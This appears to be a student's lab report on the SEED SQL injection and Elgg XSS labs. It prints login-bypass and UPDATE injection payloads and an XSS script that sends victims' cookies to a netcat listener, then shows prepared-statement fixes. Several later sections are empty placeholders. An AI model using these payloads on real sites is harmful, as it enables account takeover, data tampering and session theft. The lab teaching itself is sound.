20232906 2023-2024-2 《网络与系统攻防技术》第十次作业
1.实验内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在http://www.seedlabsqlinjection.com/(仅在SEED Ubuntu中可访问)。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
2.实验过程
2.0 环境配置
-
这次实验需要使用SEEDUbuntu-16.04-32,可以通过DigitalOcean链接下载,下载后解压即可得到.vmdk文件。
-
在Vmware中选择“创建新的虚拟机”——“自定义”——Workstation14.x——“稍后安装操作系统”——“Linux”——“Ubuntu”——位置随意——处理器2内核1——内存2048MB——“网络地址转换”——“LSI Logic”——“SCSI”——“使用现有虚拟磁盘”——选择步骤1解压的文件中的“SEEDUbuntu-16.04-32bit.vmdk”完成创建。
-
开机后,点击“虚拟机(M)”——安装Vmware Tools
-
在左边栏中点击DVD图标,找到其中的压缩包tar文件,将其复制到home目录下,如图一所示。
图一 复制压缩包 -
双击压缩包并点击“Extract”进行解压,然后进入解压得到的文件夹中,鼠标右键——“Open in Terminal”,然后在终端中输入命令
sudo ./vmware-install.pl
,在安装过程中,遇到【Y/N】输入y,遇到其他提示直接按回车,安装结束后重启虚拟机即可完成安装。
2.1 SEED SQL注入攻击与防御实验
2.1.1 基础知识
- SQL(Structured Query Language)是“结构化查询语言”,它是对关系型数据库的操作语言。它可以应用到所有关系型数据库中,例如:MySQL、Oracle、SQL Server 等。
- SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。 SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
2.1.2 熟悉SQL语句
-
首先我们熟悉一下SQL语句的使用,在SEED Ubuntu中输入命令
mysql -u root -p
,然后回车并输入密码seedubuntu登录数据库,如图二所示。-u:指定用户名
-p:指定密码。
图二 登录MySQL数据库 -
输入命令查询Users数据库中的数据表,并使用命令读取数据表中的字段,每行分别输入回车执行,如图三所示。
use Users; //切换到Users数据库 show tables; //查询Users数据库中的数据表 select * from credential; //查询credential表中的条目
图三 查询Users数据库中的数据表
2.1.3 对 SELECT 语句的SQL注入攻击
-
SELECT 语句用于从数据库中选取数据。结果被存储在一个结果表中,称为结果集。
-
2.1.2中的数据表是http://www.seedlabsqlinjection.com/使用的数据,我们访问该网站,随意输入用户名和密码,网站提示如图四所示。
图四 随意输入用户名和密码后网站提示 -
单击“F12”——“Network”,然后刷新网页,可以发现用户名和密码通过GET请求(通过URL的传参也可以看出)提交至unsafe_home.php页面进行身份检验,如图五所示。
图五 查看网络流量 -
据上述分析,我们检查一下unsafe_home.php的相关代码,在终端中使用命令
vim /var/www/SQLInjection/unsafe_home.php
,结果如图六所示。首先检查了一下Session确认是否已经登录,然后和Users数据库建立连接,并从credential表中查找用户输入的用户名和密码组合是否存在。
图五 unsafe_home.php -
继续往下看,可以发现如图六所示代码,如果用户为Admin,则会输出所有用户的信息。
图六 判断是否为管理员 -
其中,我们要注入的SQL查询为:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';
-
在SQL语句中,“#”表示注释,如果我们的用户名输入为“Admin’#”,则SQL查询变为:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'#' and Password='$hashed_pwd';
不难看出
' and Password='$hashed_pwd'
被当作注释而无法发挥作用,所以只需要输入用户名:Admin'#
即可进入该网站的管理员界面,如图七所示,同理将用户名换为[数据表中6用户名之一]'#
既可以登入对应用户的账户:
图七 成功进行SQL注入攻击
2.1.4 对 UPDATE 语句的SQL注入攻击
-
UPDATE 语句用于更新表中已存在的记录。
-
按照2.1.3的分析,我们输入用户名
Alice'#
登入Alice的账户,如图八所示。
图八 通过SQL注入攻击登入Alice账户 -
单击“F12”——“Network”,然后单击“Edit Profile”然后直接点“Save”,如图九所示,浏览器将修改后的数据传入unsafe_edit_backend.php中进行处理。
图九 数据传入unsafe_edit_backend.php中处理 -
在终端中输入命令
vim /var/www/SQLInjection/unsafe_edit_backend.php
查看对应的代码,如图十所示。正常情况下员工可以修改自己的昵称、右键、地址、密码和电话号码。
图十 unsafe_edit_backend.php -
其中,我们要注入的SQL语句为:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
-
在 NickName 一栏输入
', salary='1000' where Name='Alice';#
,则SQL查询变为:UPDATE credential SET nickname='', salary='1000' where Name='Alice';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
这样便可以成功修改Alice的工资金额为1000,如图十一所示:
图十一 成功修改Alice的工资金额 -
同理在 NickName 一栏输入
', salary='1000' where Name='[其他用户名]';#
,则SQL查询变为:UPDATE credential SET nickname='', salary='1000' where Name='[其他用户名]';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
这样甚至可以修改其他人的工资金额,将salary换成Password则可以修改其他用户的密码,这里不再演示。
2.1.5 SQL对抗
- SQL注入漏洞存在的原因是代码和数据没有隔离。程序没有对SQL语句进行检查,并禁止出现“;”、“#”等可能导致SQL注入的符号,因此产生了漏洞。
- 我们可以使用预处理语句阻止上面分析的两种SQL注入攻击。
- 对于unsafe_home.php,我们对SELECT语句进行预处理,修改如下:
//原来的php代码: $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";//修改后的php代码: $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;"); $sql->bind_param("ss", $input_uname, $hashed_pwd);
- 对于unsafe_edit_backend.php,我们也对UPDATE语句进行预处理,修改如下:
//原来的php代码 if($input_pwd!=''){ // In case password field is not empty. $hashed_pwd = sha1($input_pwd); //Update the password stored in the session. $_SESSION['pwd']=$hashed_pwd; $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";}else{ // if passowrd field is empty. $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;"; }//修改后的php代码: if($input_pwd!=''){ // In case password field is not empty. $hashed_pwd = sha1($input_pwd); //Update the password stored in the session. $_SESSION['pwd']=$hashed_pwd; $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber); }else{ // if passowrd field is empty. $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber); }
2.2 SEED XSS跨站脚本攻击实验
2.2.1 基础知识
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS分为:存储型 、反射型 、DOM型三种
- 存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
- 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
- DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
2.2.2 发布恶意消息,显示警报窗口
-
我们访问http://www.xsslabelgg.com/,使用Alice的身份登录,用户名为
Alice
,密码为seedalice
。 -
如图十二所示,点击“Alice”——“Edit Profile”,然后在“Brief description”中写入以下内容:
<script>alert("xss");</script> //弹出警告窗口,显示“xss”
图十二 在Brief description中写入js代码 -
点击“Save”保存后,之后每次访问http://www.xsslabelgg.com/profile/alice都会弹出xss的alert窗口,如图十三所示。
图十三 每次访问Alice的主页都会弹出xss的alert窗口 -
同样,我们使用Boby的身份登录该系统,点击“More”——“Members”,则也会看到xss的弹窗,如图十四所示。
图十四 其他人都会受此影响
2.2.3 弹窗显示 cookie 信息
-
按照2.2.2的操作流程,把填入“Brief description”中的内容改为:
<script> alert(document.cookie);</script>
即可弹窗显示cookie信息,如图十五所示。
图十五 弹窗显示了用户当前的cookie信息
2.2.4 窃取受害者的 cookies
-
当JavaScript插入img标签时,浏览器会尝试从src字段中的URL加载图片,这一过程有HTTP GET请求发送到对应的URL,据此我们可以编写js代码,如下所示。
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
-
我们把这段js代码还是写入“Brief description”中,然后开启终端并输入命令
nc -l 5555 -v
监听5555端口。-l:用于指定nc将处于侦听模式,即作为server侦听指定端口。
-v:输出交互或出错信息。 -
之后只要有用户访问Alice的主页,netcat就会接收到该用户的cookie,如图十六所示。
图十六 netcat接收到了cookie信息
2.2.5 成为受害者的朋友
2.2.6 编写 XSS 蠕虫
2.2.7 对抗 XSS 攻击
3.问题及解决方案
-
问题1:***
-
问题1解决方案:***
4.学习感悟、思考等
参考资料
- SEED Labs - Wenliang Du
- 入坑解读 | 什么是SQL注入? - 信息安全发送者
- execstack_0.0.20131005-1+b10_amd64.deb